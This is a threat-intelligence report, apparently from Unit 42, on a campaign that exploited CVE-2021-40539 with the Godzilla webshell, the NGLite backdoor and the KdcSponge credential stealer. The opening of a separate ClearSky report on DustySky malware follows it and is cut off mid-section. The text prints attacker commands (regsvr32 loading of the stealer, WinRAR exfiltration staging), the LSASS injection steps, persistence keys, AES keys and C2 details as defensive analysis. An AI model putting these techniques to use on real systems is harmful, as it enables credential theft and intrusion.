The Godzilla webshell was developed by user BeichenDream, who stated they created this webshell because the ones available at the time would frequently be detected by security products during red team engagements.
As such, the author advertises it will avoid detection by leveraging AES encryption for its network traffic and that it maintains a very low static detection rate across security vendor products.
Figure 1.
Detections on VirusTotal for Godzilla webshells.
Its no surprise that the Godzilla webshell has been adopted by regional threat groups during their intrusions, as it offers more functionality and network evasion than other webshells used by the same groups, such as ChinaChopper.
The JSP webshell itself is fairly straightforward in terms of functionality and maintains a lightweight footprint.
Its primary function is to parse an HTTP POST, decrypt the content with the secret key and then execute the payload.
This allows attackers to keep code likely to be flagged as malicious off the target system until they are ready to dynamically execute it.
The below image shows the initial part of the default JSP webshell as well as the decrypt function.
Figure 2.
Header of a default Godzilla JSP webshell.
Of note are the variables xc and pass in the first and second lines of the code shown in Figure 2.
These are the main components that change each time an operator generates a new webshell, and the variables represent the secret key used for AES decryption within that webshell.
When you generate the webshell manually, you specify a plaintext pass and key.
By default, these are pass and key.
https://github.com/BeichenDream/Godzilla/ https://unit42.paloaltonetworks.com/tag/china-chopper/ 4/11 Figure 3.
Godzilla default webshell values.
To figure out how these are presented in the webshell itself, we can take a look at the Godzilla JAR file.
Below, you can see the code substitutes the strings in one of the embedded webshell templates under the /shells/cryptions/JavaAES/GenerateShellLoder function.
Figure 4.
GenerateShellLoder function in Generate.class file.
Thus we know the xc variable in the webshell will be the AES secret key, as indicated in the template.
String xcsecretKey String passpass String md5md5(passxc) We observed that the xc value appears to be a hash, and under the /core/shell/ShellEntity.class file, we can see the code takes the first 16 characters of the MD5 hash for a plaintext secret key.
public String getSecretKeyX()  return functions.md5(getSecretKey()).substring(0, 16)  With that, we know then that the xc value of 3c6e0b8a9c15224a is the first 16 characters of the MD5 hash for the word key.
Given this, the xc and pass variables are the two primary fields that can be used for tracking and attempting to map activity across incidents.
For the purpose of this blog, we generated a Godzilla webshell with the default options for analysis however, the only differences between the default one and the ones observed in attacks are different xc and pass values.
One important characteristic of this webshell is that the author touts the lack of static detection and has tried to make this file not stand out through avoiding keywords or common structures that might be recognized by security product signatures.
One particularly interesting static evasion technique is the use of a Java ternary conditional operator to indicate decryption.
The conditional here is m?1:2  m is a boolean value passed to this function, as shown previously in Figure 2.
If m is True, then the first expression constant (1) is used.
Otherwise, the second (2) is passed.
Referring to the Java documentation, 1 is ENCRYPT_MODE, whereas 2 is DECRYPT_MODE.
Figure 5.
JavaX crypto constants meaning.
When the webshell executes this function x, it does not set the value of m, thus forcing m to False and setting it to decrypt.
5/11 response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true))) To understand the capabilities of Godzilla then, we can take a look in /shells/payloads/java/JavaShell.class.
This class file contains all of the functions provided to the operator.
Below is an example of the getFile function.
Figure 6.
getFile function payload for Godzilla.
Payload functions: getFile downloadFile getBasicsInfo uploadFile copyFile deleteFile newFile newDir currentDir currentUserName bigFileUpload bigFileDownload getFileSize execCommand getOsInfo moveFile getPayload fileRemoteDown setFileAttr As evidenced by the names of the functions, the Godzilla webshell offers numerous payloads for navigating remote systems, transferring data to and from, remote command execution and enumeration.
These payloads will be encrypted with the secret key previously described, and the operating software will send an HTTP POST to the compromised system containing the data.
Additionally, if we examine the core/ui/component/dialog/ShellSetting.class file (shown below), the initAddShellValue() function contains the default configuration settings for remote network access.
Therefore, elements such as static HTTP headers and User-Agent strings can be identified in order to aid forensic efforts searching web access logs for potential compromise.
private void initAddShellValue() this.shellContext  new ShellEntity() this.urlTextField.setText(http://127.0.0.1/shell.jsp) this.passwordTextField.setText(pass) this.secretKeyTextField.setText(key) this.proxyHostTextField.setText(127.0.0.1) this.proxyPortTextField.setText(8888) this.connTimeOutTextField.setText(60000) this.readTimeOutTextField.setText(60000) this.remarkTextField.setText(??)
this.headersTextArea.setText(User-Agent: Mozilla/5.0 (Windows NT 10.0 Win64 x64 rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: text/html,application/xhtmlxml,application/xmlq0.9,image/webp,/q0.8\nAccept-Language: zh-CN,zhq0.8,zh-TWq0.7,zh-HKq0.5,en-USq0.3,enq0.2\n) this.leftTextArea.setText() this.rightTextArea.setText()  6/11 To illustrate, below is a snippet of the web server access logs that show the initial exploit using the Curl application and sending the custom URL payload to trigger the CVE-2021-40539 vulnerability.
It then shows the subsequent access of the Godzilla webshell, which has been placed into the hardcoded paths by the initial dropper.
By reviewing the User-Agent, we can determine that the time from exploit to initial webshell access took just over four minutes for the threat actor.
-
/./RestAPI/LicenseMgr - X.X.X.X Y.Y.Y.Y POST [00:00:00] - - 200 curl/7.68.0 - /help/admin-guide/reports.jsp - X.X.X.X Y.Y.Y.Y POST [00:04:07] - - 200 Mozilla/5.0 (Windows NT 10.0 Win64 x64 rv:84.0) Gecko/20100101 Firefox/84.0 Custom NGLite NGLite is an open-source backdoor written in the Go language (specifically Go version 1.13).
It is available for download from a public GitHub repository.
NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel.
While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.
The NKN touts that their decentralized network uses a public blockchain and can support communication between millions of peers, each of which are identified by a unique NKN address instead of the typical network identifiers, such as IP addresses.
Therefore, the immediate IP address that the NGLite tool communicates with in its C2 channel is just a peer in the decentralized network and is unlikely to represent the threat actors network location.
This design makes detection and prevention of the NGLite C2 communication channel difficult.
Fortunately, the use of NKN as a C2 channel is very uncommon.
We have seen only 13 samples communicating with NKN altogether  nine NGLite samples and four related to an open-source utility called Surge that uses NKN for file sharing.
Eight of the nine known NGLite samples were scanned by VirusTotal.
Four were undetected, three were detected by one antivirus and the remaining sample was detected by five.
This low detection rate suggests that NGLite had very little antivirus coverage during this attack campaign.
As mentioned in the previous section, the dropper creates registry keys and executes a custom variant of the NGLite backdoor (SHA256: 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f) saved at the following path: C:\Windows\system32\ME_ADAudit.exe The data structures within the Go-based backdoor contain the following path, which is used to store the main source code for this custom variant of NGLite on the developers system: /mnt/hgfs/CrossC2-2.2/src/ng.com/lprey/main.go Based on this path, one might surmise that the actor used CrossC2 to build a cross platform Cobalt Strike C2 payload however, we have no reason to believe that this payload is actually based on CrossC2, as the payload is a customized version of the publicly available NGLite backdoor.
It is possible that the threat actors included the CrossC2 string in the path as a misdirection, hoping to confuse threat analysts into thinking they are delivering a Cobalt Strike payload.
We have seen the following NGLite samples using this same source code path dating back to Aug. 11, which suggests that this threat actor has been using this tool for several months: 3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd 5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755 3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d The custom NGLite sample used in this campaign checks the command line arguments for g or group value.
If this switch is not present, the payload will use the default string 7aa7ad1bfa9da581a7a04489896279517eef9357b81e406e3aee1a66101fe824 in what NGLite refers to as its seed identifier.
The payload will create what it refers to as a prey id, which is generated by concatenating the MAC address of the system network interface card (NIC) and IPv4 address, with a hyphen (-) separating the two.
This prey identifier will be used in the C2 communications.
The NGLite payload will use the NKN decentralized network for C2 communications.
See the NKN client configuration in the sample below: https://github.com/Maka8ka/NGLite https://github.com/rule110-io/surge https://github.com/gloxec/CrossC2/tree/v2.2/src 7/11 Figure 7.
Embedded NKN client configuration.
The sample first starts by reaching out to seed.nkn[.
]org over TCP/30003, specifically with an HTTP POST request that is structured as follows: Figure 8.
Initial NKN HTTP POST.
It also will send HTTP POST requests with monitor_03 as the prey id, as seen in the following: Figure 9.
HTTP Post containing prey id.
The seed.nkn[.
]org server responds to this request with the [prey id (MAC-IPv4)] within the JSON structured as follows: id:nkn-sdk-go,jsonrpc:2.0,result: addr:66.115.12.89:30002,id:223b4f7f4588af02badaa6a83e402b33dea0ba8908e4cd6008f84c2b98a6a7de,pubkey:38ce48a2a3cffded7c This suggests the payload will communicate with the peer at 66.115.12.89 over TCP/30003.
The seed.nkn[.
]org server then responds to the monitor_03 request with the following, which suggests the payload will communicate with 54.204.73.156 over TCP/30003: id:nkn-sdk-go,jsonrpc:2.0,result: addr:54.204.73.156:30002,id:517cb8112456e5d378b0de076e85e80afee3c483d18c30187730d15f18392ef9,pubkey:99bb5d3b9b609a31c After obtaining the response from seed.nkn[.
]org, the payload will issue an HTTP GET request to the IP address and TCP port provided in the addr field within the JSON.
These HTTP requests will appear as follows, but keep in mind that these systems are not actor-controlled rather, they are just the first peer in a chain of peers that will eventually return the actors content: 8/11 Figure 10.
NKN peering.
Eventually, the network communications between the custom NGLite client and server are encrypted using AES with the following key: WHATswrongwithUu The custom NGLite sample will start by sending the C2 an initial beacon that contains the result of the whoami command with the string windows concatenated, as seen in the following: [username]windows After sending the initial beacon, the NGLite sample will run a sub-function called Preylistener that creates a server that listens for inbound requests.
The sample will also listen for inbound communications and will attempt to decrypt them using a default AES key of 1234567890987654.
It will run the decrypted contents as a command via the Go method os/exec.
Command.
The results are then encrypted using the same AES key and sent back to the requester.
Post-exploitation Activity Upon compromising a network, the threat actor moved quickly from their initial foothold to gain access to other systems on the target networks by running commands via their NGLite payload and the Godzilla webshell.
After gaining access to the initial server, the actors focused their efforts on gathering and exfiltrating sensitive information from local domain controllers, such as the Active Directory database file (ntds.dit) and the SYSTEM hive from the registry.
Shortly after, we observed the threat actors installing the KdcSponge credential stealer, which we will discuss in detail next.
Ultimately, the actor was interested in stealing credentials, maintaining access and gathering sensitive files from victim networks for exfiltration.
Credential Harvesting and KdcSponge During analysis, Unit 42 found logs that suggest the threat actors used PwDump and the built-in comsvcs.dll to create a mini dump of the lsass.exe process for credential theft however, when the actor wished to steal credentials from a domain controller, they installed their custom tool that we track as KdcSponge.
The purpose of KdcSponge is to hook API functions from within the LSASS process to steal credentials from inbound attempts to authenticate via the Kerberos service (KDC Service).
KdcSponge will capture the domain name, username and password to a file on the system that the threat actor would then exfiltrate manually through existing access to the server.
We know of two KdcSponge samples, both of which were named user64.dll.
They had the following SHA256 hashes: 3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090 b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665 To launch the KdcSponge credential stealer, the threat actor will run the following command to load and execute the malicious module: regsvr32 /s user64.dll Upon first execution, the regsvr32 application runs the DllRegisterServer function exported by user64.dll.
The DllRegisterServer function resolves the SetSfcFileException function within sfc_os.dll and attempts to disable Windows File Protection (WFP) on the c:\windows\system32\kdcsvc.dll file.
It then attempts to inject itself into the running lsass.exe process by: 1.
Opening the lsass.exe process using OpenProcess.
2.
Allocating memory in the remote process using VirtualAllocEx.
3.
Writing the string user64.dll to the allocated memory using WriteProcessMemory.
4.
Calling LoadLibraryA within the lsass.exe process with user64.dll as the argument, using RtlCreateUserThread.
Now that user64.dll is running within the lsass.exe process, it will start by creating the following registry key to establish persistence through system reboots: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service : regsvr32 /s user64.dll 9/11 From there, the sample will check to make sure the system is running a Kerberos service by attempting to obtain a handle to one of the following modules: kdcsvc.dll kdccli.dll Kdcsvs.dll KdcSponge tries to locate three undocumented API functions  specifically KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey  using the following three methods: 1.
Identifies the version of Kerberos module and uses hardcoded offsets to API functions to hook.
2.
Reaches out to Microsofts symbol server to find the offset to API functions within Kerberos module and confirms the correct functions by comparing to hardcoded byte sequences.
3.
Searches the Kerberos module for hardcoded byte sequences.
The primary method in which KdcSponge locates the API functions to hook is based on determining the version of the Kerberos module based on the TimeDateStamp value within the IMAGE_FILE_HEADER section of the portable executable (PE) file.
Once the version of the Kerberos module is determined, KdcSponge has hardcoded offsets that it will use to hook the appropriate functions within that version of the module.
KdcSponge looks for the following TimeDateStamp values: 2012-07-26 00:01:13 If KdcSponge was unable to determine the version of the Kerberos module and the domain controller is running Windows Server 2016 or Server 2019 (major version 10), the payload will reach out to Microsofts symbol server (msdl.microsoft.com) in an attempt to find the location of several undocumented API functions.
The sample will issue an HTTPS GET request to a URL structured as follows, with the GUID portion of the URL being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section of the PE: /download/symbols/[library name].pdb/[GUID]/[library name].pdb The sample will save the results to a file in the following location, again with the GUID for the filename being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section: ALLUSERPROFILE\Microsoft\Windows\Caches\[GUID].db: As mentioned above, we believe the reason the code reaches out to the symbol server is to find the locations of three undocumented Kerberos- related functions: KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey.
The sample is primarily looking for these functions in the following libraries: kdcsvc.
KdcVerifyEncryptedTimeStamp kdcsvc.
KerbHashPasswordEx3 kdcpw.
KerbHashPasswordEx3 kdcsvc.
KerbFreeKey kdcpw.
KerbFreeKey If these functions are found, the sample searches for specific byte sequences, as seen in Table 1, to confirm the functions are correct and to validate they have not been modified.
Function Hex bytes kdcsvc.
KdcVerifyEncryptedTimeStamp 48 89 5c 24 20 55 56 57 41 54 41 55 41 56 41 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 48 8b 05 a5 kdcsvc.
KerbHashPasswordEx3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 8b kdcpw.
KerbHashPasswordEx3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 8b kdcpw.
KerbFreeKey 48 89 5c 24 08 57 48 83 ec 20 48 8b d9 33 c0 8b 49 10 48 8b 7b 18 f3 aa 48 8b 4b 18 ff 15 72 19 kdcsvc.
KerbFreeKey 48 89 5c 24 08 57 48 83 ec 20 48 8b 79 18 48 8b d9 48 85 ff 0f 85 00 c5 01 00 33 c0 48 89 03 48 If the domain controller is running Windows Server 2008 or Server 2012 (major version 6), KdcSponge does not reach out to the symbol server and instead will search the entire kdcsvc.dll module for the byte sequences listed in Table 2 to find the API functions.
Function Hex bytes kdcsvc.
KdcVerifyEncryptedTimeStamp 48 89 5C 24 20 55 56 57 41 54 41 55 41 56 41 57 48 8D 6C 24 F9 48 81 EC C0 00 00 00 48 8B kdcsvc.
KerbHashPasswordEx3 48 89 5C 24 08 48 89 74 24 10 48 89 7C 24 18 55 41 56 41 57 48 8B EC 48 83 EC 40 48 8B F1 Table 1.
Undocumented functions and byte sequences used by KdcSponge to confirm the correct functions for Windows major version 10.
10/11 kdcsvc.
KerbFreeKey 40 53 48 83 EC 20 48 8B D9 48 8B 49 10 48 85 C9 0F 85 B4 B9 01 00 33 C0 48 89 03 48 89 43 Once the KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey functions are found, the sample will attempt to hook these functions to monitor all calls to them with the intention to steal credentials.
When a request to authenticate to the domain controller comes in, these functions in the Kerberos service (KDC service) are called, and the sample will capture the inbound credentials.
The credentials are then written to disk at the following location: ALLUSERPROFILE\Microsoft\Windows\Caches\system.dat The stolen credentials are encrypted with a single-byte XOR algorithm using 0x55 as the key and written to the system.dat file one per line in the following structure: [timestamp]domainusername cleartext password Attribution While attribution is still ongoing and we have been unable to validate the actor behind the campaign, we did observe some correlations between the tactics and tooling used in the cases we analyzed and Threat Group 3390 (TG-3390, Emissary Panda, APT27).
Specifically, as documented by SecureWorks in an article on a previous TG-3390 operation, we can see that TG-3390 similarly used web exploitation and another popular Chinese webshell called ChinaChopper for their initial footholds before leveraging legitimate stolen credentials for lateral movement and attacks on a domain controller.
While the webshells and exploits differ, once the actors achieved access into the environment, we noted an overlap in some of their exfiltration tooling.
SecureWorks stated the actors were using WinRar masquerading as a different application to split data into RAR archives within the Recycler directory.
They provided the following snippet from a Batch file deployed to do this work: echo off c:\windows\temp\svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014 e:\recycler\REDACTED.rar e:\ProgramData\REDACTED\ Exit From our analysis of recent attacks on ManageEngine ADSelfService Plus, we observed the same technique  with the same order and placement of the parameters passed to a renamed WinRar application.
echo off dir dp0dp0\log.txt dp0\vmtools.exe a -k -r -s -m5 -v4096000 -pREDACTED e:\RECYCLE.BIN\REDACTED.rar E:\Programs\REDACTED\REDACTED Once the files had been staged, in both cases they were then made accessible on externally facing web servers.
The threat actors would then download them through direct HTTP GET requests.
Conclusion In September 2021, Unit 42 observed an attack campaign in which the actors gained initial access to targeted organizations by exploiting a recently patched vulnerability in Zohos ManageEngine product, ADSelfService Plus, tracked in CVE-2021-40539.
At least nine entities across the technology, defense, healthcare, energy and education industries were compromised in this attack campaign.
After exploitation, the threat actor quickly moved laterally through the network and deployed several tools to run commands in order to carry out their post-exploitation activities.
The actor heavily relies on the Godzilla webshell, uploading several variations of the open-source webshell to the compromised server over the course of the operation.
Several other tools have novel characteristics or have not been publicly discussed as being used in previous attacks, specifically the NGLite backdoor and the KdcSponge stealer.
For instance, the NGLite backdoor uses a novel C2 channel involving the decentralized network known as the NKN, while the KdcSponge stealer hooks undocumented functions to harvest credentials from inbound Kerberos authentication attempts to the domain controller.
Unit 42 believes that the actors primary goal involved gaining persistent access to the network and the gathering and exfiltration of sensitive documents from the compromised organization.
The threat actor gathered sensitive files to a staging directory and created password-protected multi-volume RAR archives in the Recycler folder.
The actor exfiltrated the files by directly downloading the individual RAR archives from externally facing web servers.
The following coverages across the Palo Alto Networks platform pertain to this incident: Threat Prevention signature ZOHO corp ManageEngine Improper Authentication Vulnerability was released on Sept. 20 as threat ID 91676.
NGLite backdoor is blocked by Cortex XDRs local analysis.
All known samples (Dropper, NGLite, KdcSponge) are classified as malware in WildFire.
Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central, or ManageEngine ServiceDeskPlus Servers across customer networks.
Table 2.
Undocumented functions and byte sequences used by KdcSponge to locate the sought after functions.
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage https://www.paloaltonetworks.com/products/secure-the-network/wildfire 11/11 If you think you may have been impacted, please email unit42-investigationspaloaltonetworks.com or call (866) 486-4842  (866) 4- UNIT42  for U.S. toll free, (31-20) 299-3130 in EMEA or (65) 6983-8730 in JAPAC.
The Unit 42 Incident Response team is available 24/7/365.
Special thanks to Unit 42 Consulting Services and the NSA Cybersecurity Collaboration Center for their partnership, collaboration and insights offered in support of this research.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
Learn more about the Cyber Threat Alliance.
Indicators of Compromise Dropper SHA256 b2a29d99a1657140f4e254221d8666a736160ce960d06557778318e0d1b7423b 5fcc9f3b514b853e8e9077ed4940538aba7b3044edbba28ca92ed37199292058 NGLite SHA256 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f 3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd 5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755 3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d Godzilla Webshell SHA256 a44a5e8e65266611d5845d88b43c9e4a9d84fe074fd18f48b50fb837fa6e429d ce310ab611895db1767877bd1f635ee3c4350d6e17ea28f8d100313f62b87382 75574959bbdad4b4ac7b16906cd8f1fd855d2a7df8e63905ab18540e2d6f1600 5475aec3b9837b514367c89d8362a9d524bfa02e75b85b401025588839a40bcb KdcSponge SHA256 3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090 b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665 Threat Actor IP Addresses 149.248.11[.
]205 199.188.59[.
]192 Registry Keys Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service Additional Resources Get updates from Palo Alto Networks Sign up to receive the latest news, cyber threat intelligence and research from us By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
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______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 1of 42 January 2016 Operation DustySky Clearsky clearskysec.com/dustysky TLP:White For public distribution http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 2 of 42 Contents Foreword .............................................................................................................................................................. 3 Acknowledgments ....................................................................................................................................... 3 Tactics, Techniques and Procedures .................................................................................................................... 4 Delivery ........................................................................................................................................................ 4 Lure content and sender identity ................................................................................................................ 5 Phishing ........................................................................................................................................................ 6 Attacks against software developers ........................................................................................................... 7 Post infection ................................................................................................................................................... 9 Abusing breached email account ...............................................................................................................11 Malware analysis ................................................................................................................................................12 DustySky dropper .......................................................................................................................................12 DustySky core .............................................................................................................................................14 DustySky keylogging component ...............................................................................................................15 pdb analysis ...............................................................................................................................................15 Command and control communication ..............................................................................................................16 Traffic examples .........................................................................................................................................16 SSL and digital certificates .........................................................................................................................17 Infrastructure .............................................................................................................................................20 Threat actor and Attribution ..............................................................................................................................23 Infrastructure overlap ................................................................................................................................23 Gaza Strip origins .......................................................................................................................................23 Similar TTPs ................................................................................................................................................24 Individuals ..................................................................................................................................................24 Appendix A - Malicious email messages and lures .............................................................................................25 Appendix B - Indicators.......................................................................................................................................34 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 3 of 42 Foreword DustySky (called NeD Worm by its developer) is a multi-stage malware in use since May 2015.
It is in use by the Molerats (aka Gaza cybergang), a politically motivated group whose main objective, we believe, is intelligence gathering.
Operating since 2012, the groups activity has been reported by Norman 1, Kaspersky2,3, FireEye4, and PwC5.
This report revolves around a campaign that includes a new malware developed by a member of the group or on behalf of the group.
Based on dozens of known attacks and the vast infrastructure in use - we estimate that a wave of targeted malicious email messages has been sent on a weekly basis.
These attacks are targeted, but not spear-phished.
I.e., malicious email messages are sent to selected targets rather than random mass distribution, but are not tailored specifically to each and every target.
Dozens of targets may receive the exact same message.
The email message and the lure document are written in Hebrew, Arabic or English - depending on the target audience.
Targeted sectors include governmental and diplomatic institutions, including embassies companies from the aerospace and defence Industries financial institutions journalists software developers.
The attackers have been targeting software developers in general, using a fake website pretending to be a legitimate iOS management software, and linking to it in an online freelancing marketplace.
Most targets are from the Middle East: Israel, Egypt, Saudi Arabia, United Arab Emirates and Iraq.
The United States and countries in Europe are targeted as well.
Acknowledgments We would like to thank our colleagues for their ongoing information sharing and feedback, which have been crucial for this research: security researcher Infra PassiveTotal analyst team Tom Lancaster of PwC Team Cymru Security researcher Sebastin Garca Menachem Perlman of LightCyber Other security researchers who wish to remain anonymous.
1 https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_targets.pdf 2 http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html 3 https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team 4 https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison- ivy.html 5 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html http://clearskysec.com/ https://www.passivetotal.org/ http://pwc.blogs.com/cyber_security_updates/tom-lancaster/ http://www.team-cymru.org/ http://www.team-cymru.org/ http://www.team-cymru.org/ https://www.researchgate.net/profile/Sebastian_Garcia6 https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_targets.pdf https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_targets.pdf http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html http://www.seculert.com/blog/2014/01/xtreme-rat-strikes-israeli-organizations-again.html https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 4 of 42 Tactics, Techniques and Procedures Delivery The attackers would usually send a malicious email message that either links to an archive file (RAR or ZIP compressed) or has one attached to it.
Below are malicious email messages that have been sent to multiple targets on September and December 2015.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 5 of 42 The link may include these parameters: Id - the ID of the current wave of malicious email messages, composed of a plaintext word, a plus sign, and a number.
For example: Rand281 token1 - same as id, but Base64 encoded token2 - Base64 encoded email address of the target to which the malicious message was sent.
C - the word Click or openexe The following regular expression matches the structure of malicious links: \/[A-Za-z]\.php\?((?:idtoken1token2C)[A-Za-z0-9\/]0,2?
)4 For example: spynews.otzo[.
]com/20151104/Update.php?idredactedtoken1redactedtoken2redactedCCli ck The archive contains an .exe file, sometimes disguised as a Microsoft Word file, a video, or another file format, using the corresponding icon.
For example: Lure content and sender identity If the victim extracts the archive and clicks the .exe file, the lure document or video are presented while the computer is being infected with DustySky.
In recent samples the group used Microsoft Word files embed with a malicious macro, which would infect the victim if enabled.
Note, that these infection methods rely on social engineering - convincing the victim to open the file (and enabling content if it is disabled) - and not on software vulnerabilities.
The subject line of the malicious email message, as well as the name and content of the lure document, are usually related to recent events in diplomacy, defense, and politics.
Sometimes lure topics are gossip or sex related and might even include a pornographic video.
In recent samples, fake invoices and a copy of the public Google privacy policy were used.
The content of the lure document is always copied from a public news item or other web content, and is never an original composition of the attackers.
The from field in malicious messages is usually set to be related to the lure document, such as Latest Israel news, Israeli Hot Stories, Israel Defense Forces,      (impersonates the Emirates Policy Center organization6).
6 The center undertakes the task of foreseeing the future of region, regional and international policy trends and the impact of different geopolitical projects on the region.
It aims at providing strategic analysis, policy papers, studies, and research to serve the decision makers at any institution or country in the region with a priority given to UAE.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 6 of 42 When linked from the malicious message, the malware would be hosted either on a cloud service (many times in copy.com, a legitimate file hosting service), or on a server controlled by the attackers.
Phishing When the malware is hosted on a server controlled by the attackers, the User-Agent string of the targets browser is checked when they click the malicious link.
If the target is using Windows, DuskySky is served.
If the operating system is different than Windows, the target is served a Google, Microsoft, or Yahoo phishing page: http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 7 of 42 The source code of the phishing page is made up of a single JavaScript block, which at runtime decodes a single variable into HTML: After the victim fills in and sends the fake login form, they are redirected to a legitimate website.
For example, in one case the victim was redirected to a news item7 in the Israeli news website NRG.
Only the news item was old (from one year prior to the attack) and unrelated to the original subject of the malicious email message.
It was probably used in previous attacks, and the attackers did not care enough or forgot to change it to a relevant one.
Attacks against software developers IP address 45.32.13.169 and all the domains that are pointing to it8 host a webpage which is a copy of a legitimate and unrelated software website - iMazing, an iOS management software.
Screenshot of fake website - imazing[.
]ga on 45.32.13.169 7 http://www.nrg.co.il/online/1/ART2/594/733.html 8 https://www.passivetotal.org/passive/45.32.13.169 http://clearskysec.com/ http://www.nrg.co.il/online/1/ART2/594/733.html http://www.nrg.co.il/online/1/ART2/594/733.html https://www.passivetotal.org/passive/45.32.13.169 https://www.passivetotal.org/passive/45.32.13.169 ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 8 of 42 Among the domains is a similar looking one - imazing[.
]ga.
The source code of the fake website reveals that it was copied from the legitimate source on 22 October 2015: The fake website, similarly to the legitimate one, offers visitors to download the iMazing software.
However, the version on the fake website is bundled with DustySky malware.
Upon execution of the malicious version (2f452e90c2f9b914543847ba2b431b9a) the legitimate iMazing is installed, while in the background DustySky is dropped as a file named Plugin.exe (1d9612a869ad929bd4dd16131ddb133a), and executed: Plugin.exe immediately starts communicating with its command and control sever using the hardcoded address ns.suppoit[.
]xyz and supo.mefound[.
]com, both also pointing to above mentioned 45.32.13.169.
Interestingly, we found the fake domain imazing[.
]ga mentioned in a job posting9 in the freelancers marketplace website freelancer.com.
In the posting, the attackers claim they are looking for someone to 9 https://www.cz.freelancer.com/projects/iPhone/Write-some-Software-8755699/ http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 9 of 42 build an application like that this website [sic] and entice the viewer to download application and take an overlook [sic] from imazing[.
]ga and Let me know if any idea is missing or.
This behavior deviates from the attackers usual pattern of sending malicious email to selected (albeit many) individuals.
It is unclear to us why they would go after random infections, but we can imagine various reasons, such as access to computers which would be used as proxies for attacks, or access to licenses for software owned by the victims.
Post infection This section describes the actions performed by the attackers on infected computers we have investigated.
After infecting the computer, the attackers used both the capabilities of DustySky, and those of public hacking tools they had subsequently downloaded to the computer.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 10 of 42 They took screenshots and a list of active processes in the computer, and sent them to their command and control severs.
They used BrowserPasswordDump10, a public and free-to-use tool that recovers passwords saved in browsers.
Below is the log file (empty in this case) that we recovered after the attackers had deleted it: The malware would also scan the computer for files that contain certain keywords.
The list of keywords, in base64 format, is retrieved from the command and control as a text file.
